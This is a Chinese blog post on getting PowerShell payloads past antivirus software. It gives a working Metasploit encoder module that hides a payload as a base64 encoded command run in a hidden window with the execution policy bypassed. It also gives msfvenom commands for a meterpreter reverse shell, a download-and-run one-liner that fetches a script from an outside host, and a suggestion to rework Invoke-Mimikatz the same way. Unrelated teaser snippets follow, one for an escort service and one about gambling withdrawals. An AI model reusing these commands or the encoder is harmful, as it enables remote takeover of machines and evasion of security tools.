关于Powershell对抗安全软件

hacker5年前黑客工具300

  Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。

  同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。

  Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。

  

  在https://technet.microsoft.com,看到文档如下:

  Here is a listing of the available startup parameters:

  -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt.

  -EncodedCommand Specifies the base64-encoded command text to execute.

  -ExecutionPolicy Sets the default execution policy for the console session.

  -File Sets the name of a script fi le to execute.

  -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML.

  -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe).

  -NoLogo Starts the PowerShell console without displaying the copyright banner.

  -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user.

  -NoProfile Tells the PowerShell console not to load the current user’s profile.

  -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML.

  -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell.

  -Sta Starts PowerShell in single-threaded mode.

  -Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0.

  -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.

  针对它的特性,本地测试:

  Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')

  

  

  上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 https://www.secpulse.com/archives/71225.html

  micropoor.ps1不幸被杀。

  

  

  针对powershell特性,更改payload

  

  接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:

  (1)目标机出网

  (2)目标机不出网

  并且根据需求,无缝连接Metasploit。https://www.secpulse.com/archives/71225.html

  根据微软文档,可以找到可能对以上有帮助的属性,分别为:

  WindowStyle

  NoExit

  EncodedCommand

  exec

  自动化实现如下:

  # copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.

  # E.g

  # msf encoder(powershell/base64) > use exploit/multi/handler

  # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

  # payload => windows/x64/meterpreter/reverse_tcp

  # msf exploit(multi/handler) > exploit

  # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx

  class MetasploitModule < Msf::Encoder

  Rank = NormalRanking

  def initialize

  super(

  'Name' => 'Powershell Base64 Encoder',

  'Description' => %q{

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  },

  'Author' => 'Micropoor',

  'Arch' => ARCH_CMD,

  'Platform' => 'win')

  register_options([

  OptBool.new('payload', [ false, 'Use payload ', false ]),

  OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])

  ])

  end

  def encode_block(state, buf)

  base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))

  cmd = ''

  if datastore['x64']

  cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '

  else

  cmd += 'powershell.exe '

  end

  if datastore['payload']

  cmd += '-windowstyle hidden -exec bypass -NoExit '

  end

  cmd += "-EncodedCommand #{base64}"

  end

  end

  # if use caidao

  # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows

  # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.

  参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。

  例1(目标出网,下载执行):

  echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows

  

  

  例2(目标不出网,本地执行)

  

  注:加payload参数

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

  更多有趣的实验:

  把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

  更改Invoke-Mimikatz.ps1等。

  

  参考致谢

  https://technet.microsoft.com/en-us/library/ff629472.aspx

  https://www.secpulse.com/archives/tag/powershell

  https://github.com/danielbohannon/Invoke-Obfuscation

标签: 渗透测试

相关文章

wangle被黑了客服说出款通道维护审核提不了款怎么办?_wangle被黑

往事被黑了客服说出款通道维护提不了款怎么办? 被黑分为三种 第一:直接上来就是冻结账号! 第二:限制你账号的部分功能! 限制你的额度转换,出款和入款端口关闭! 提款余额不能低于多少多少等等。...

2019打什么游戏赚钱最快?一天小赚10.20元的手游

2019打什么游戏赚钱最快?一天小赚10.20元的手游

小弟不才,呆在家里打游戏赚钱近8年!走了大部分游戏工作室人想走的路,坚持测试新游戏,坚持学习写脚本,坚持锻炼身体等等,现今谈不上丰衣足食,但足可以靠游戏养家糊口,日子过的还算富裕,物质上的,精神上的。...

睫毛膏什么牌子好?国产十大睫毛膏排行版

睫毛膏什么牌子好?国产十大睫毛膏排行版

睫毛膏是每个女孩每天日常要用到的东西,是女人必备的化妆品之一,但是什么睫毛膏真正适合自己呢,很多睫毛膏涂抹后会出现苍蝇腿,拧在一起,很不自然,下面就像大家推荐一下2018都有哪些好用的睫毛膏!...

厦门有什么好玩的地方(厦门游玩攻略大全)

厦门有什么好玩的地方(厦门游玩攻略大全)

厦门:浪漫的单身旅行,一个人也可以很好 我总以为旅行是两个人才能一起做的事, 从来不曾想到一个人也可以玩的这么好,玩的这么放松, 有些事情,两个人做比一个人做有意义, 但是没有尝试过,又怎么知...

怎么通过黑客找别人典故-我的世界黑客端手机版(我的世界网易黑客端下载)

怎么通过黑客找别人典故-我的世界黑客端手机版(我的世界网易黑客端下载)

怎么通过黑客找别人典故相关问题 黑客刷点卷软件相关问题 黑客如何远程控制对方手机 二手手机会有针孔摄像头吗(手机检查针孔摄像头)...

北京找个商务伴游多钱一天-周波儿

北京找个商务伴游多钱一天-周波儿 方法一:请通过网站上的微信联系经纪人,经纪人会负责安排好所有流程。 方法二:如果你想约上海地区的女学妹,首先你得加上一个全国高端经纪人的微信号。方法三:你得告诉你联系...